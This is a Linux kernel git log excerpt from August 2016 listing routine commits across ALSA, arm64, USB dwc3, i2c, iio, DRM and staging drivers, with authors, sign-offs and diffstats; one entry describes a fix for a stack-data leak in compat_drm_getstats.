8ce8eb601c71d4eec4c83ac2398a2cb847f4ef4d Author: Takashi Sakamoto Date: Sat Aug 13 10:13:34 2016 +0900 ALSA: seq: add an alternative way to handle ioctl requests ALSA sequencer is designed with two types of clients; application and kernel. Operations for each ioctl command should handle data in both of user space and kernel space, while current implementation just allows them to handle data in user space. Data in kernel space is handled with change of address limit of running tasks. This commit adds a new table to map ioctl commands to corresponding functions. The functions get data in kernel space. Helper functions to operate kernel and application clients seek entries from the table. Especially, the helper function for application is responsible for coping from user space to kernel space or vise versa. Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai sound/core/seq/seq_clientmgr.c | 76 +++++++++++++++++++++++++++++++++++++++++- sound/core/seq/seq_compat.c | 5 +++ 2 files changed, 80 insertions(+), 1 deletion(-) commit 77dfa8d3196a0cd219dfd6c65e4ff5a3e696fd8c Author: Takashi Sakamoto Date: Sat Aug 13 10:13:33 2016 +0900 ALSA: seq: add documentation for snd_seq_kernel_client_ctl This kernel API is used by kernel implementation. Currently, it's used for kernel clients of ALSA sequencer, while it can be used for application clients. The difference is just on address spaces of argument. In short, this kernel API can be available for application client with data in kernel space. This commit adds a document about this. Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai sound/core/seq/seq_clientmgr.c | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) commit 67060ed148cca4f6f3cde6d6941d3b4a86ad698c Author: Masahiro Yamada Date: Tue Aug 16 18:19:22 2016 +0900 arm64: remove redundant "select HAVE_CLK" HAVE_CLK is select'ed by CLKDEV_LOOKUP, which is select'ed by COMMON_CLK, which is select'ed by ARM64. No sub-architecture needs to select HAVE_CLK explicitly. Signed-off-by: Masahiro Yamada Signed-off-by: Will Deacon arch/arm64/Kconfig.platforms | 1 - 1 file changed, 1 deletion(-) commit da752563e7fff00885c93e9d5c06bbbfaf34e4da Author: Mark Rutland Date: Thu Aug 11 17:59:46 2016 +0100 arm64: remove traces of perf_ops_bp Even though perf_ops_bp was removed/renamed back in commit b0a873ebbf87bf38 ("perf: Register PMU implementations"), as part of v2.6.37, its definition still lives on in some arch headers. This patch removes the vestigal definition from arm64. Signed-off-by: Mark Rutland Cc: Catalin Marinas Cc: Will Deacon Signed-off-by: Will Deacon arch/arm64/include/asm/hw_breakpoint.h | 2 -- 1 file changed, 2 deletions(-) commit 826d05623f3e2b316bbad6204418a0ff1b49a720 Author: Kefeng Wang Date: Wed Aug 10 20:59:15 2016 +0800 arm64: perf: Use the builtin_platform_driver Use the builtin_platform_driver() to simplify code. Signed-off-by: Kefeng Wang Signed-off-by: Will Deacon arch/arm64/kernel/perf_event.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit d34fdb7081394cbf93fa6571d990086356f4ea9d Author: Kwangwoo Lee Date: Tue Aug 2 09:50:50 2016 +0900 arm64: mm: convert __dma_* routines to use start, size __dma_* routines have been converted to use start and size instread of start and end addresses. The patch was origianlly for adding __clean_dcache_area_poc() which will be used in pmem driver to clean dcache to the PoC(Point of Coherency) in arch_wb_cache_pmem(). The functionality of __clean_dcache_area_poc() was equivalent to __dma_clean_range(). The difference was __dma_clean_range() uses the end address, but __clean_dcache_area_poc() uses the size to clean. Thus, __clean_dcache_area_poc() has been revised with a fallthrough function of __dma_clean_range() after the change that __dma_* routines use start and size instead of using start and end. As a consequence of using start and size, the name of __dma_* routines has also been altered following the terminology below: area: takes a start and size range: takes a start and end Reviewed-by: Robin Murphy Signed-off-by: Kwangwoo Lee Signed-off-by: Will Deacon arch/arm64/include/asm/cacheflush.h | 3 +- arch/arm64/mm/cache.S | 82 ++++++++++++++++++------------------- arch/arm64/mm/dma-mapping.c | 6 +-- 3 files changed, 44 insertions(+), 47 deletions(-) commit 421dd6fa6709ebee4f888ed89da5c103c77caee1 Author: Chris Metcalf Date: Thu Jul 14 16:48:14 2016 -0400 arm64: factor work_pending state machine to C Currently ret_fast_syscall, work_pending, and ret_to_user form an ad-hoc state machine that can be difficult to reason about due to duplicated code and a large number of branch targets. This patch factors the common logic out into the existing do_notify_resume function, converting the code to C in the process, making the code more legible. This patch tries to closely mirror the existing behaviour while using the usual C control flow primitives. As local_irq_{disable,enable} may be instrumented, we balance exception entry (where we will almost most likely enable IRQs) with a call to trace_hardirqs_on just before the return to userspace. Signed-off-by: Chris Metcalf Signed-off-by: Will Deacon arch/arm64/kernel/entry.S | 12 ++++-------- arch/arm64/kernel/signal.c | 36 ++++++++++++++++++++++++++---------- 2 files changed, 30 insertions(+), 18 deletions(-) commit 0a7d87a7776e2616334473c4209e277b6ca300e5 Author: Mark Rutland Date: Mon Aug 8 11:12:07 2016 +0100 arm64: hibernate: reduce TLB maintenance scope In break_before_make_ttbr_switch we perform broadcast TLB maintenance for the inner shareable domain, and use a DSB ISH to complete this. However, at the point we execute this, secondary CPUs are either physically offline, or executing code outside of the kernel. Upon entering the kernel, secondary CPUs will invalidate their TLBs before enabling their MMUs. Thus we do not need to invalidate TLBs of other CPUs, and as with idmap_cpu_replace_ttbr1 we can reduce the scope of maintenance to the TLBs of the local CPU. This keeps our TLB maintenance code consistent, and is a minor optimisation. Cc: Catalin Marinas Cc: Lorenzo Pieralisi Acked-by: James Morse Signed-off-by: Mark Rutland Signed-off-by: Will Deacon arch/arm64/kernel/hibernate-asm.S | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2c78c0295fd8e4e3fef74dcddecc9cabf44a81a5 Author: Felipe Balbi Date: Fri Aug 12 13:13:10 2016 +0300 usb: dwc3: gadget: interrupt on ring full too If the ring is full and we are processing a big sglist, then let's interrupt so we can, later, add more TRBs to the ring. Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 0b3e4af3c740937d1e0f7d444f75d087c29a2d1b Author: Felipe Balbi Date: Fri Aug 12 13:10:10 2016 +0300 usb: dwc3: gadget: add sg and num_pending_sgs to dwc3_request These two fields will be used in a follow-up patch to track how many entries of request's sglist we have already processed. The reason is that if a gadget driver sends an sglist with more entries then we can fit in the ring, we will have to continue processing remaining afterwards. Signed-off-by: Felipe Balbi drivers/usb/dwc3/core.h | 4 ++++ 1 file changed, 4 insertions(+) commit 31162af447d7afba6820e42ed9cf968ed74c64cd Author: Felipe Balbi Date: Thu Aug 11 14:38:37 2016 +0300 usb: dwc3: gadget: avoid while (1) loop on completion We know that we have to iterate over the list of started requests. Instead of looping forever, we can rely on list_for_each_entry(). Likewise, instead of a do {} while loop over all, maybe available, scatterlist entries, we can detect if $this request uses scatterlist and rely on for_each_sg(). This makes the code easier to follow while making sure that we will *always* break out of the loop. Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 32 +++++++++++++++++++------------- 1 file changed, 19 insertions(+), 13 deletions(-) commit 08a36b543803b7fe39b66ca0529bea34a88dc77f Author: Felipe Balbi Date: Thu Aug 11 14:27:52 2016 +0300 usb: dwc3: gadget: simplify __dwc3_gadget_ep_queue() Many of the comments in that function are really outdated and don't match what the driver is doing. Moreover, recent patches combined programming model for all non-control endpoints, this gives us an opportunity to get rid of our special cases in __dwc3_gadget_ep_queue(). Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 83 ++++------------------------------------------- 1 file changed, 7 insertions(+), 76 deletions(-) commit 45438a0cd9c2b80917047b77fab1ff46cf710748 Author: Felipe Balbi Date: Thu Aug 11 12:26:59 2016 +0300 usb: dwc3: gadget: simplify dwc3_ep_prev_trb() We always need to decrement our index by at least one. Simplify the implementation by using a temporary local variable and making sure that we will always decrement one extra if tmp == 0. Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 737f1ae2556a5d219c24fbea2e1c63b7d9e10869 Author: Felipe Balbi Date: Thu Aug 11 12:24:27 2016 +0300 usb: dwc3: gadget: increment dequeue pointer on completion Instead of waiting until giveback before incrementing the dequeue pointer, we can increment it from dwc3_cleanup_done_reqs(), that way we avoid an extra loop over all TRBs during giveback. While at that, also avoid using req->first_trb_index as that's completely unnecessary. A follow-up patch will clean up further uses of that and remove the field altogether. Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) commit 4bc48c9747084dad4b258821a69026bcc552e8ff Author: Felipe Balbi Date: Wed Aug 10 16:04:33 2016 +0300 usb: dwc3: gadget: retire LST bit completely The only endpoint which actually requires LST bit and XferComplete is ep0/1. Let's save some time by completely removing LST bit support and XferComplete. This simplifies and consolidates endpoint handling for all other 3 transfer types while also avoiding extra interrupts. Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 62 ++++++++++++----------------------------------- 1 file changed, 15 insertions(+), 47 deletions(-) commit 919568691df41e655a6dac2b7a5f94befeedaf71 Author: Javier Martinez Canillas Date: Thu Aug 18 09:45:06 2016 -0400 USB: serial: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: Johan Hovold drivers/usb/serial/keyspan_pda.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ec913f31a570b57e72e69b4122de70a6b2ef760f Author: Heinrich Schuchardt Date: Sun Aug 21 19:56:19 2016 +0200 drm: avoid exposing kernel stack in compat_drm_getstats The C standard does not specify the size of the integer used to store an enum. Hence in structure drm_stats32_t alignment bytes may exist. To avoid exposing bytes from the kernel stack it is necessary to initialize variable s32 completely. Signed-off-by: Heinrich Schuchardt Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471802179-2886-1-git-send-email-xypron.glpk@gmx.de drivers/gpu/drm/drm_ioc32.c | 1 + 1 file changed, 1 insertion(+) commit f5bef0b85e5d1586bb2f34035917d5e4c475cea2 Author: Rob Clark Date: Fri Aug 19 16:55:34 2016 -0400 reservation: fix small comment typo Signed-off-by: Rob Clark [danvet: Mark up as function for proper cross-linking.] Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1471640134-30888-1-git-send-email-robdclark@gmail.com drivers/dma-buf/reservation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1c7f349a896330b05754fd63938c9b1218e35c73 Author: Sergei Shtylyov Date: Wed Aug 17 22:03:06 2016 +0300 ARM: dts: blanche: add support for general purpose switches Add support for the general purpose software switches SW2 and tactile switches SW24/25 as a virtual keyboard (like it was done with the Lager/ Koelsch boards). Signed-off-by: Sergei Shtylyov Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792-blanche.dts | 49 +++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) commit d5d0804f8f6d0c89913f6a2de5348adef8ec33e4 Author: Daniel Vetter Date: Mon Aug 22 08:35:48 2016 +0200 drm/i915: Update DRIVER_DATE to 20160822 Signed-off-by: Daniel Vetter drivers/gpu/drm/i915/i915_drv.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 24fec75017ae2c9ecc5db71feb999f73d57ba04f Author: Jon Hunter Date: Thu Aug 11 11:42:20 2016 +0100 dmaengine: tegra210-adma: Update driver to use of_pm_clk_add_clk Commit 498b5fdd40dd ("PM / clk: Add support for adding a specific clock from device-tree") add a new helper function for adding a clock from device-tree to a device. Update the ADMA driver to use this new function to simplify the driver. Signed-off-by: Jon Hunter Acked-by: Laxman Dewangan Signed-off-by: Vinod Koul drivers/dma/tegra210-adma.c | 14 ++------------ 1 file changed, 2 insertions(+), 12 deletions(-) commit 00f0ea70d2b82b7d7afeb1bdedc9169eb8ea6675 Author: Bartosz Golaszewski Date: Fri Aug 12 13:32:57 2016 +0200 eeprom: at24: check if the chip is functional in probe() The at24 driver doesn't check if the chip is functional in its probe function. This leads to instantiating devices that are not physically present. For example the cape EEPROMs for BeagleBone Black are defined in the device tree at four addresses on i2c2, but normally only one of them is present. If the userspace doesn't know the location in advance, it will need to check if reading the nvmem attributes fails to determine which EEPROM is actually there. Try to read a single byte in probe() and bail-out with -ENODEV if the read fails. Signed-off-by: Bartosz Golaszewski Signed-off-by: Wolfram Sang drivers/misc/eeprom/at24.c | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) commit 56025e7bc2079cda92643b43bf26991d3d09717d Author: Wolfram Sang Date: Tue Aug 9 22:11:40 2016 +0200 i2c: uniphier{-f}: don't print error when adding adapter fails The core will do this for us now. Signed-off-by: Wolfram Sang Acked-by: Masahiro Yamada Acked-by: Guenter Roeck Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-uniphier-f.c | 5 ----- drivers/i2c/busses/i2c-uniphier.c | 5 ----- 2 files changed, 10 deletions(-) commit ea734404f3daf1f6b5103171d848c9d4641fd96b Author: Wolfram Sang Date: Tue Aug 9 13:36:17 2016 +0200 i2c: don't print error when adding adapter fails The core will do this for us now. Signed-off-by: Wolfram Sang Reviewed-by: Grygorii Strashko Acked-by: Peter Korsgaard Acked-by: Heiko Stuebner Acked-by: Neil Horman Acked-by: Thierry Reding Acked-by: Ray Jui Acked-by: Vladimir Zapolskiy Acked-by: Ludovic Desroches Acked-by: Krzysztof Kozlowski Acked-by: Laxman Dewangan Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-amd756.c | 5 +---- drivers/i2c/busses/i2c-at91.c | 2 -- drivers/i2c/busses/i2c-axxia.c | 8 +------- drivers/i2c/busses/i2c-bcm-iproc.c | 8 +------- drivers/i2c/busses/i2c-bcm-kona.c | 4 +--- drivers/i2c/busses/i2c-bfin-twi.c | 4 +--- drivers/i2c/busses/i2c-brcmstb.c | 4 +--- drivers/i2c/busses/i2c-cadence.c | 4 +--- drivers/i2c/busses/i2c-cpm.c | 4 +--- drivers/i2c/busses/i2c-cros-ec-tunnel.c | 4 +--- drivers/i2c/busses/i2c-davinci.c | 4 +--- drivers/i2c/busses/i2c-diolan-u2c.c | 4 +--- drivers/i2c/busses/i2c-dln2.c | 4 +--- drivers/i2c/busses/i2c-efm32.c | 1 - drivers/i2c/busses/i2c-exynos5.c | 4 +--- drivers/i2c/busses/i2c-hix5hd2.c | 4 +--- drivers/i2c/busses/i2c-i801.c | 1 - drivers/i2c/busses/i2c-ibm_iic.c | 4 +--- drivers/i2c/busses/i2c-img-scb.c | 4 +--- drivers/i2c/busses/i2c-imx.c | 4 +--- drivers/i2c/busses/i2c-isch.c | 4 +--- drivers/i2c/busses/i2c-ismt.c | 4 +--- drivers/i2c/busses/i2c-jz4780.c | 4 +--- drivers/i2c/busses/i2c-lpc2k.c | 4 +--- drivers/i2c/busses/i2c-meson.c | 1 - drivers/i2c/busses/i2c-mpc.c | 4 +--- drivers/i2c/busses/i2c-mt65xx.c | 4 +--- drivers/i2c/busses/i2c-mxs.c | 1 - drivers/i2c/busses/i2c-nforce2.c | 1 - drivers/i2c/busses/i2c-nomadik.c | 4 +--- drivers/i2c/busses/i2c-ocores.c | 4 +--- drivers/i2c/busses/i2c-octeon.c | 4 +--- drivers/i2c/busses/i2c-omap.c | 4 +--- drivers/i2c/busses/i2c-piix4.c | 1 - drivers/i2c/busses/i2c-pmcmsp.c | 4 +--- drivers/i2c/busses/i2c-pnx.c | 4 +--- drivers/i2c/busses/i2c-puv3.c | 5 +---- drivers/i2c/busses/i2c-pxa.c | 4 +--- drivers/i2c/busses/i2c-rcar.c | 4 +--- drivers/i2c/busses/i2c-riic.c | 4 +--- drivers/i2c/busses/i2c-rk3x.c | 4 +--- drivers/i2c/busses/i2c-s3c2410.c | 1 - drivers/i2c/busses/i2c-sh7760.c | 4 +--- drivers/i2c/busses/i2c-sh_mobile.c | 1 - drivers/i2c/busses/i2c-sirf.c | 4 +--- drivers/i2c/busses/i2c-st.c | 4 +--- drivers/i2c/busses/i2c-stu300.c | 5 +---- drivers/i2c/busses/i2c-tegra.c | 4 +--- drivers/i2c/busses/i2c-wmt.c | 4 +--- drivers/i2c/busses/i2c-xgene-slimpro.c | 1 - drivers/i2c/busses/i2c-xiic.c | 1 - drivers/i2c/busses/i2c-xlp9xx.c | 4 +--- drivers/i2c/busses/i2c-xlr.c | 4 +--- 53 files changed, 42 insertions(+), 149 deletions(-) commit 76d7b84bfa43f514544477d2282f9ac9796a2594 Author: Viresh Kumar Date: Wed Jul 27 14:32:58 2016 -0700 dmaengine: device must have at least one channel The DMA device can't be registered if it doesn't have any channels registered at all. Moreover, it leads to memory leak and is reported by kmemleak as (on 3.10 kernel, and same shall happen on mainline): unreferenced object 0xffffffc09e597240 (size 64): comm "swapper/0", pid 1, jiffies 4294877736 (age 7060.280s) hex dump (first 32 bytes): 00 00 00 00 c0 ff ff ff 30 00 00 ff 00 00 00 ff ........0....... 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff ................ backtrace: [] create_object+0x148/0x2a0 [] kmemleak_alloc+0x80/0xbc [] kmem_cache_alloc_trace+0x120/0x1ac [] dma_async_device_register+0x160/0x46c [] foo_probe+0x1a0/0x264 [] platform_drv_probe+0x14/0x20 [] driver_probe_device+0x160/0x374 [] __driver_attach+0x60/0x90 [] bus_for_each_dev+0x7c/0xb0 [] driver_attach+0x1c/0x28 [] bus_add_driver+0x124/0x248 [] driver_register+0x90/0x110 [] platform_driver_register+0x58/0x64 [] foo_driver_init+0x10/0x1c [] do_one_initcall+0xac/0x148 [] kernel_init_freeable+0x1a0/0x258 Return -ENODEV from dma_async_device_register() on such a case. Signed-off-by: Viresh Kumar Signed-off-by: Vinod Koul drivers/dma/dmaengine.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 1aaaa9acaea1dd2878d6c92b45e4c117ef425baf Merge: 73577d6 fa8410b Author: Greg Kroah-Hartman Date: Sun Aug 21 21:33:17 2016 -0400 Merge 4.8-rc3 into usb-next We want the USB fixes in here as well. Signed-off-by: Greg Kroah-Hartman commit c1346a7e70b5be7f01cc1f64a7e3aefb80d48ad7 Author: David S. Miller Date: Sun Aug 21 15:50:11 2016 -0700 Revert "l2tp: Refactor the codes with existing macros instead of literal number" This reverts commit 5ab1fe72d5490978104fc493615ea29dd7238766. This change still has problems. Signed-off-by: David S. Miller net/l2tp/l2tp_ppp.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 8c14846df3998cfc2ffe3e7e5624da2e76b1eccb Author: Wei Yongjun Date: Sat Aug 20 15:32:41 2016 +0000 cxgb4: Simplify the return expression Simplify the return expression. Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_main.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 5ab1fe72d5490978104fc493615ea29dd7238766 Author: Gao Feng Date: Sat Aug 20 23:52:27 2016 +0800 l2tp: Refactor the codes with existing macros instead of literal number Use PPP_ALLSTATIONS, PPP_UI, and SEND_SHUTDOWN instead of 0xff, 0x03, and 2 separately. Signed-off-by: Gao Feng Signed-off-by: David S. Miller net/l2tp/l2tp_ppp.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit f5a9a15f8fd4168e415e94f5dce367f3cef08e03 Author: Oleg Drokin Date: Sun Aug 21 18:04:36 2016 -0400 staging/lustre: Remove unused cp_error from struct cl_page cp_error member is not really set anywhere, so kill it and the only printing user of it too. Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/cl_object.h | 2 -- drivers/staging/lustre/lustre/obdclass/cl_page.c | 4 ++-- 2 files changed, 2 insertions(+), 4 deletions(-) commit 24c198e9569b8a014ee8d10bc724e908d3814ec8 Author: Oleg Drokin Date: Sun Aug 21 18:04:35 2016 -0400 staging/lustre: Make alignment match open parenthesis This patch fixes most of checkpatch occurences of "CHECK: Alignment should match open parenthesis" in Lustre code. Signed-off-by: Emoly Liu Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman .../staging/lustre/include/linux/libcfs/libcfs.h | 6 +- .../lustre/include/linux/libcfs/libcfs_debug.h | 10 +- .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd.c | 2 +- .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd_cb.c | 5 +- .../staging/lustre/lnet/klnds/socklnd/socklnd.h | 2 +- .../lustre/lnet/libcfs/linux/linux-crypto.c | 4 +- drivers/staging/lustre/lustre/include/cl_object.h | 2 +- drivers/staging/lustre/lustre/ldlm/ldlm_extent.c | 4 +- drivers/staging/lustre/lustre/ldlm/ldlm_flock.c | 4 +- drivers/staging/lustre/lustre/ldlm/ldlm_internal.h | 17 +- drivers/staging/lustre/lustre/ldlm/ldlm_lib.c | 8 +- drivers/staging/lustre/lustre/ldlm/ldlm_lock.c | 26 +- drivers/staging/lustre/lustre/ldlm/ldlm_lockd.c | 21 +- drivers/staging/lustre/lustre/ldlm/ldlm_pool.c | 4 +- drivers/staging/lustre/lustre/ldlm/ldlm_request.c | 10 +- drivers/staging/lustre/lustre/ldlm/ldlm_resource.c | 5 +- drivers/staging/lustre/lustre/llite/llite_lib.c | 4 +- drivers/staging/lustre/lustre/llite/rw.c | 4 +- drivers/staging/lustre/lustre/llite/statahead.c | 3 +- drivers/staging/lustre/lustre/llite/vvp_page.c | 4 +- drivers/staging/lustre/lustre/lov/lov_obd.c | 4 +- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 3 +- drivers/staging/lustre/lustre/obdclass/obd_mount.c | 2 +- drivers/staging/lustre/lustre/osc/osc_cache.c | 4 +- drivers/staging/lustre/lustre/ptlrpc/niobuf.c | 3 +- .../staging/lustre/lustre/ptlrpc/pack_generic.c | 5 +- drivers/staging/lustre/lustre/ptlrpc/sec_bulk.c | 5 +- drivers/staging/lustre/lustre/ptlrpc/sec_plain.c | 18 +- drivers/staging/lustre/lustre/ptlrpc/service.c | 22 +- drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 288 ++++++++++----------- 30 files changed, 255 insertions(+), 244 deletions(-) commit cd94f231a73efb237e3da16ba83e8226431cdfcb Author: Oleg Drokin Date: Sun Aug 21 18:04:34 2016 -0400 staging/lustre: Add spaces preferred around that '{+, -, *, /, |, <<, >>, &}' This patch fixes all checkpatch occurences of "CHECK: spaces preferred around that '{+,-,*,/,|,<<,>>,&}' (ctx:VxV)" in Lustre code. Signed-off-by: Emoly Liu Signed-off-by: Oleg Drokin Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lu_object.h | 3 ++- .../lustre/lustre/include/lustre/lustre_idl.h | 28 +++++++++++----------- .../lustre/lustre/include/lustre/lustre_user.h | 2 +- drivers/staging/lustre/lustre/include/lustre_fid.h | 2 +- .../staging/lustre/lustre/include/lustre_lite.h | 2 +- .../staging/lustre/lustre/include/obd_support.h | 13 +++++----- drivers/staging/lustre/lustre/ldlm/ldlm_request.c | 4 ++-- drivers/staging/lustre/lustre/llite/file.c | 4 ++-- drivers/staging/lustre/lustre/llite/llite_lib.c | 21 +++++++++------- drivers/staging/lustre/lustre/llite/llite_mmap.c | 4 ++-- drivers/staging/lustre/lustre/llite/lproc_llite.c | 14 +++++------ drivers/staging/lustre/lustre/llite/namei.c | 4 ++-- drivers/staging/lustre/lustre/llite/rw.c | 5 ++-- drivers/staging/lustre/lustre/llite/rw26.c | 2 +- drivers/staging/lustre/lustre/llite/super25.c | 4 ++-- drivers/staging/lustre/lustre/llite/vvp_object.c | 2 +- drivers/staging/lustre/lustre/lov/lov_ea.c | 3 ++- drivers/staging/lustre/lustre/lov/lov_obd.c | 14 ++++++----- drivers/staging/lustre/lustre/lov/lov_pool.c | 2 +- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 2 +- drivers/staging/lustre/lustre/mdc/mdc_reint.c | 5 ++-- drivers/staging/lustre/lustre/obdclass/debug.c | 4 ++-- drivers/staging/lustre/lustre/obdclass/genops.c | 2 +- .../staging/lustre/lustre/obdclass/obd_config.c | 12 +++++----- drivers/staging/lustre/lustre/obdclass/obd_mount.c | 6 ++--- drivers/staging/lustre/lustre/obdclass/obdo.c | 6 +++-- .../staging/lustre/lustre/obdecho/echo_internal.h | 4 ++-- drivers/staging/lustre/lustre/osc/osc_cache.c | 2 +- .../staging/lustre/lustre/osc/osc_cl_internal.h | 2 +- drivers/staging/lustre/lustre/osc/osc_io.c | 2 +- drivers/staging/lustre/lustre/osc/osc_request.c | 12 ++++++---- drivers/staging/lustre/lustre/ptlrpc/import.c | 6 +++-- .../staging/lustre/lustre/ptlrpc/lproc_ptlrpc.c | 2 +- drivers/staging/lustre/lustre/ptlrpc/ptlrpcd.c | 4 ++-- drivers/staging/lustre/lustre/ptlrpc/service.c | 2 +- 35 files changed, 111 insertions(+), 95 deletions(-) commit 87557ade38f3d465f4935d63d74a7590e7d69e1a Author: Linus Walleij Date: Tue Aug 16 15:33:27 2016 +0200 iio: accel: kxsd9: Add device tree bindings This accelerometer can be probed from the device tree, so it needs to have proper documentation of it's device tree bindings. Cc: devicetree@vger.kernel.org Signed-off-by: Linus Walleij Acked-by: Rob Herring Signed-off-by: Jonathan Cameron .../devicetree/bindings/iio/accel/kionix,kxsd9.txt | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) commit 7f6cf7414538181f4091b06e905d19a23a451108 Author: Srinivas Pandruvada Date: Mon Aug 15 12:12:47 2016 -0700 iio: hid-sensors: use asynchronous resume Some platforms power off sensor hubs during S3 suspend, which will require longer time to resume. This hurts system resume time, so resume asynchronously. Signed-off-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron .../iio/common/hid-sensors/hid-sensor-trigger.c | 22 +++++++++++++++++++++- include/linux/hid-sensor-hub.h | 1 + 2 files changed, 22 insertions(+), 1 deletion(-) commit ace4cdfe67be24463ad694105533e5319674f022 Author: Zhiyong Tao Date: Thu Aug 18 15:11:36 2016 +0800 iio: adc: mt2701: Add Mediatek auxadc driver for mt2701. Add Mediatek auxadc driver based on iio. It will register a device in iio and support iio. So thermal can read auxadc channel to sample data by iio device. It is tested successfully on mt2701 platform. Mt8173 and mt6577 platforms are not tested. But the expectation is compatible. Signed-off-by: Zhiyong Tao Signed-off-by: Jonathan Cameron drivers/iio/adc/Kconfig | 13 ++ drivers/iio/adc/Makefile | 1 + drivers/iio/adc/mt6577_auxadc.c | 291 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 305 insertions(+) commit 3ad16a39eda5a77510475f2c0d384312f1db105f Author: Zhiyong Tao Date: Thu Aug 18 15:11:35 2016 +0800 dt-bindings: auxadc: Add binding document for Mediatek auxadc. The commit adds the device tree binding documentation for the mediatek auxadc found on Mediatek MT2701. Thermal gets auxadc sample data by iio device. So the commit changes auxadc device tree binding documentation from /soc/mediatek/auxadc.txt to /iio/adc/mt6577_auxadc.txt. Acked-by: Rob Herring Signed-off-by: Zhiyong Tao Signed-off-by: Jonathan Cameron .../devicetree/bindings/iio/adc/mt6577_auxadc.txt | 29 ++++++++++++++++++++++ .../devicetree/bindings/soc/mediatek/auxadc.txt | 21 ---------------- 2 files changed, 29 insertions(+), 21 deletions(-) commit e24544553b0830ce91e723099868723b6531c4b2 Author: Alison Schofield Date: Mon Aug 15 16:09:36 2016 -0700 iio: temperature: add Kconfig selects for triggered buffer Select IIO_BUFFER and IIO_TRIGGERED_BUFFER to compile maxim_thermocouple. Signed-off-by: Alison Schofield Cc: Daniel Baluta Signed-off-by: Jonathan Cameron drivers/iio/temperature/Kconfig | 2 ++ 1 file changed, 2 insertions(+) commit 197399dcd7726b6b86d2c46700c9be05f5b85425 Author: Alison Schofield Date: Thu Aug 18 09:09:00 2016 -0700 iio: magnetometer: mag3110: claim direct mode during raw reads Driver was checking for direct mode but not locking it. Use claim/release helper functions to guarantee the device stays in direct mode during raw reads. Signed-off-by: Alison Schofield Cc: Daniel Baluta Signed-off-by: Jonathan Cameron drivers/iio/magnetometer/mag3110.c | 23 +++++++++++++++-------- 1 file changed, 15 insertions(+), 8 deletions(-) commit 10adcce696da141739ab93768169b3783ab0bab3 Author: Louie Lu Date: Mon Aug 15 18:44:41 2016 +0800 staging: rts5208: Change data type to unsigned int. This patch fixes a minor checkpatch warning: "WARNING: Prefer 'unsigned int' to bare use of 'unsigned'" Signed-off-by: Louie Lu Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx_scsi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0b25e9fa01fc9ed333d266172128ba37d44cd7be Author: Quentin Lambert Date: Fri Aug 12 16:15:18 2016 +0200 staging: rts5208/ms.c: add missing releases in mg_get_local_EKB and mg_get_ICV mg_get_local_EKB and mg_get_ICV used to return with an error code before releasing all resources. This patch add a jump to the appropriate label ensuring that the resources are properly released before returning. This issue was found with Hector. Signed-off-by: Quentin Lambert Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/ms.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 541e4d2d1d99c51a3bbc887b88ac3d65534b0fc9 Author: Quentin Lambert Date: Fri Aug 12 16:15:17 2016 +0200 staging: rts5208/ms.c: change the label name to respect the coding style This patch changes label names using camel case to snake case as well as giving a new name representing what will be done after the label. Signed-off-by: Quentin Lambert Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/ms.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit d5b7d2b02c31591714c2833a37fb2f65690374f5 Author: Jonas Rickert Date: Sat Jul 30 13:27:58 2016 +0200 Staging: rts5208: fix double blank line coding style issues This is a patch for double blank lines and a missing blank line reported by checkpatch.pl Signed-off-by: Jonas Rickert Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/ms.c | 11 ----------- 